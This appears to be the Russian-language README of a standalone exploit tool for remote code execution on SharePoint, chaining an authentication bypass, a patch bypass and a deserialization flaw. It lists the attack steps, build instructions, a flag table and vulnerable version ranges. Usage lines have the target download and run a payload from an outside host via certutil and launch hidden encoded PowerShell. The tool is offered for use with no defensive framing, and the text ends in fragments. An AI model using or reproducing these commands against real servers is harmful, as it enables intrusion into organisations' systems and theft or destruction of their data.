
Вы действительно думаете, что SharePoint безопасен?
Автономный, представляющий собой один исполняемый файл инструмент для удаленного выполнения кода (RCE) на SharePoint. Генерирует цепочку гаджетов TypeConfuseDelegate в виде необработанных байтов MS-NRBF (без ysoserial.exe), заключает её в полезную нагрузку десериализации DataSet и доставляет её через HTTP, используя обход аутентификации — всё одним махом.
| Шаг | CVE | Описание |
|---|
| 1 | CVE-2025-49706 | Обход аутентификации — Referer: /_layouts/SignOut.aspx пропускает аутентификацию SharePoint |
| 2 | CVE-2025-53771 | Обход патча — завершающий сегмент пути после ToolPane.aspx обходит исправление июля 2025 г. |
| 3 | CVE-2025-49704 | Десериализация — ExcelDataSet.CompressedDataTable запускает BinaryFormatter на специально подготовленном DataSet |
| 4 | — | Схема DataSet принуждает LosFormatter.Deserialize() для внутренней полезной нагрузки через ExpandedWrapper + ObjectDataProvider |
| 5 | — | TypeConfuseDelegate — компаратор SortedSet<string> является Process.Start(string, string), выполняя cmd /c <команда> |
Весь двоичный поток (как внешняя обёртка DataSet, так и внутренний гаджет TypeConfuseDelegate) строится как необработанные записи MS-NRBF — сериализация .NET runtime не используется. Это соответствует формату, создаваемому модулем Metasploit, побайтово.
Требуется .NET Framework 4.8 SDK (Visual Studio 2022 или отдельные Build Tools):
& "C:\Program Files\Microsoft Visual Studio\2022\Community\MSBuild\Current\Bin\MSBuild.exe" OurSharePoint.sln /p:Configuration=Release
Вывод: OurSharePoint\bin\Release\OurSharePoint.exe (один файл, без зависимостей)
OurSharePoint.exe --cmd="certutil -urlcache -split -f http://10.0.0.5/payload.exe C:\Windows\Temp\p.exe & C:\Windows\Temp\p.exe" --target=https://sp.corp.com
OurSharePoint.exe --cmd="whoami > C:\Windows\Temp\pwned.txt" --target=https://sp.corp.com
OurSharePoint.exe --cmd="powershell -nop -w hidden -enc <base64>" --target=https://sp.corp.com
OurSharePoint.exe --target=https://sp.corp.com --check
OurSharePoint.exe --cmd="calc.exe" --out=exploit
OurSharePoint.exe --cmd="whoami" --target=https://sp.corp.com --proxy=http://127.0.0.1:8080
ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -o base64 -c "cmd /c calc.exe" > gadget.b64
OurSharePoint.exe --in=gadget.b64 --target=https://sp.corp.com
| Флаг | Описание | По умолчанию |
|---|---|---|
--cmd=КОМАНДА | Команда для выполнения (запускается как cmd /c КОМАНДА) | — |
--in=ФАЙЛ | Предварительно собранный файл полезной нагрузки base64 LosFormatter | — |
--target=URL | Базовый URL SharePoint для доставки по HTTP | — |
--check | Только определение версии, без полезной нагрузки | — |
--out=ПРЕФИКС | Префикс выходного файла | payload |
--sp-version=ВЕРСИЯ | Версия пути Layouts (15 или 16) | 15 |
--proxy=URL | HTTP прокси | — |
--ua=СТРОКА | Пользовательский User-Agent | Firefox 120 |
--referer=URL | Переопределить Referer для обхода аутентификации | auto |
--timeout=СЕК | Таймаут HTTP | 15 |
--a/b/c=ИМЯ | Имена DataSet/элементов/столбцов | random |
Когда используется --out, инструмент записывает:
| Файл | Содержимое |
|---|---|
<префикс>.bin | Необработанный поток DataSet в формате BinaryFormatter |
<префикс>.b64 | Закодировано GZip + Base64 (то, что помещается в CompressedDataTable) |
| Редакция | Уязвимый диапазон |
|---|---|
| SharePoint Server Subscription Edition | 16.0.14326.20450 – 16.0.18526.20424 |
| SharePoint Server 2019 | 16.0.10337.12109 – 16.0.10417.20027 |
| SharePoint Enterprise Server 2016 | 16.0.4351.1000 – 16.0.5508.1000 |
| SharePoint Server 2013 | 15.0.4481.1005 – 15.0.5545.1000 |
BinaryWriter. Это позволяет избежать различий между выводом сериализации .NET runtime и тем, что ожидает целевой десериализатор.ObjectStateFormatter (0xFF 0x01 0x32 + 7-битная длина) вместо использования LosFormatter.Serialize().